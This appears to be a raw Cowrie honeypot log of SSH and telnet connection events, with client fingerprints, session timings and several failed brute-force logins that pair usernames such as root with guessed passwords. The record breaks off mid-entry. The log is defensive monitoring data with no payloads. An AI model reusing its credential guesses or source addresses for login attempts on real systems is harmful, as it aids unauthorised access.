{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:58.703912Z","src_ip":"167.172.81.52","session":"d4f6f72bdd33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:58.707756Z","src_ip":"167.172.81.52","session":"d4f6f72bdd33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35770,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f7dc4beb13d","protocol":"telnet","message":"New connection: 152.42.224.71:35770 (10.17.0.5:23) [session: 1f7dc4beb13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:02.118793Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35774,"dst_ip":"10.17.0.5","dst_port":23,"session":"33192a9d58c4","protocol":"telnet","message":"New connection: 152.42.224.71:35774 (10.17.0.5:23) [session: 33192a9d58c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:06.507443Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":40288,"dst_ip":"159.203.135.109","dst_port":22,"session":"cadeca9dfdf8","protocol":"ssh","message":"New connection: 47.237.167.49:40288 (159.203.135.109:22) [session: cadeca9dfdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:06.884928Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46306,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3dfa1f2283","protocol":"telnet","message":"New connection: 152.42.224.71:46306 (10.17.0.5:23) [session: af3dfa1f2283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:08.228291Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46314,"dst_ip":"10.17.0.5","dst_port":23,"session":"120778126bd6","protocol":"telnet","message":"New connection: 152.42.224.71:46314 (10.17.0.5:23) [session: 120778126bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:11.154120Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46320,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b7b632cf30","protocol":"telnet","message":"New connection: 152.42.224.71:46320 (10.17.0.5:23) [session: 66b7b632cf30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:12.855191Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34610,"dst_ip":"159.203.135.109","dst_port":22,"session":"88f191839d51","protocol":"ssh","message":"New connection: 103.27.238.120:34610 (159.203.135.109:22) [session: 88f191839d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:16.010188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:16.015447Z","src_ip":"103.27.238.120","session":"88f191839d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:16.273093Z","src_ip":"103.27.238.120","session":"88f191839d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.54023265838623,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:16.591866Z","src_ip":"152.42.224.71","session":"12f892da8d3b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"liliya","message":"login attempt [root/liliya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:17.043813Z","src_ip":"103.27.238.120","session":"88f191839d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:18.303345Z","src_ip":"103.27.238.120","session":"88f191839d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00173306465149,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:18.505143Z","src_ip":"152.42.224.71","session":"d268eee09819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":45051,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25230c9ed30","protocol":"ssh","message":"New connection: 181.188.172.6:45051 (159.203.135.109:22) [session: c25230c9ed30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:21.819715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:21.825250Z","src_ip":"181.188.172.6","session":"c25230c9ed30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:21.971661Z","src_ip":"181.188.172.6","session":"c25230c9ed30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00184178352356,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:22.673420Z","src_ip":"152.42.224.71","session":"ea4e00184820","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos","message":"login attempt [root/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:22.923779Z","src_ip":"181.188.172.6","session":"c25230c9ed30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113892555237,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:23.173517Z","src_ip":"152.42.224.71","session":"1e3e823933f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:24.048202Z","src_ip":"181.188.172.6","session":"c25230c9ed30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55874,"dst_ip":"10.17.0.5","dst_port":23,"session":"c62dd6f94799","protocol":"telnet","message":"New connection: 152.42.224.71:55874 (10.17.0.5:23) [session: c62dd6f94799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:25.955483Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":42202,"dst_ip":"159.203.135.109","dst_port":22,"session":"4206c7a4baa0","protocol":"ssh","message":"New connection: 47.237.167.49:42202 (159.203.135.109:22) [session: 4206c7a4baa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:26.992864Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55886,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b1c635478b","protocol":"telnet","message":"New connection: 152.42.224.71:55886 (10.17.0.5:23) [session: 58b1c635478b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:27.312464Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55892,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b4fc1ae97f","protocol":"telnet","message":"New connection: 152.42.224.71:55892 (10.17.0.5:23) [session: 16b4fc1ae97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:29.565900Z"}
{"eventid":"cowrie.session.closed","duration":55.012768268585205,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:29.571079Z","src_ip":"152.42.224.71","session":"be1ec18f0dad","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:30.437086Z","src_ip":"47.237.167.49","session":"cadeca9dfdf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":59410,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dfa37b90c30","protocol":"ssh","message":"New connection: 167.86.95.8:59410 (10.17.0.5:22) [session: 6dfa37b90c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:30.868470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:30.873671Z","src_ip":"167.86.95.8","session":"6dfa37b90c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:30.967077Z","src_ip":"167.86.95.8","session":"6dfa37b90c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terraria","message":"login attempt [terrariaserver/terraria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:31.372074Z","src_ip":"167.86.95.8","session":"6dfa37b90c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d926c1f933d1","protocol":"telnet","message":"New connection: 152.42.224.71:55896 (10.17.0.5:23) [session: d926c1f933d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:32.441132Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:32.476532Z","src_ip":"167.86.95.8","session":"6dfa37b90c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55904,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ab14c45b390","protocol":"telnet","message":"New connection: 152.42.224.71:55904 (10.17.0.5:23) [session: 1ab14c45b390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:32.710822Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:33.458266Z","src_ip":"47.237.167.49","session":"674f31b7a774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46524,"dst_ip":"159.203.135.109","dst_port":22,"session":"866f078fa582","protocol":"ssh","message":"New connection: 103.27.238.116:46524 (159.203.135.109:22) [session: 866f078fa582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:35.608397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:35.612387Z","src_ip":"103.27.238.116","session":"866f078fa582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:35.869274Z","src_ip":"103.27.238.116","session":"866f078fa582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.086164236068726,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:36.429929Z","src_ip":"152.42.224.71","session":"de9419ced5d8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"saturn","message":"login attempt [root/saturn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:36.642501Z","src_ip":"103.27.238.116","session":"866f078fa582","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:37.455459Z","src_ip":"47.237.167.49","session":"4206c7a4baa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:37.463206Z","src_ip":"47.237.167.49","session":"4206c7a4baa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:37.902443Z","src_ip":"103.27.238.116","session":"866f078fa582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40952,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bada3fcd389","protocol":"telnet","message":"New connection: 152.42.224.71:40952 (10.17.0.5:23) [session: 3bada3fcd389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:38.684088Z"}
{"eventid":"cowrie.session.closed","duration":38.665311336517334,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:40.783995Z","src_ip":"152.42.224.71","session":"1f7dc4beb13d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.961856842041016,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:41.037977Z","src_ip":"152.42.224.71","session":"7010094da712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136454582214355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:43.991517Z","src_ip":"152.42.224.71","session":"66b7b632cf30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.15.172.90","src_port":57376,"dst_ip":"10.17.0.5","dst_port":23,"session":"08fa728a77c9","protocol":"telnet","message":"New connection: 2.15.172.90:57376 (10.17.0.5:23) [session: 08fa728a77c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:44.128652Z"}
{"eventid":"cowrie.session.closed","duration":36.345000982284546,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:44.572976Z","src_ip":"152.42.224.71","session":"af3dfa1f2283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44118,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ce66ebcb26","protocol":"telnet","message":"New connection: 152.42.224.71:44118 (10.17.0.5:23) [session: 74ce66ebcb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:48.353943Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44126,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e765ead309","protocol":"telnet","message":"New connection: 152.42.224.71:44126 (10.17.0.5:23) [session: 51e765ead309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:50.443536Z"}
{"eventid":"cowrie.session.closed","duration":24.769217014312744,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:02:50.724571Z","src_ip":"152.42.224.71","session":"c62dd6f94799","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 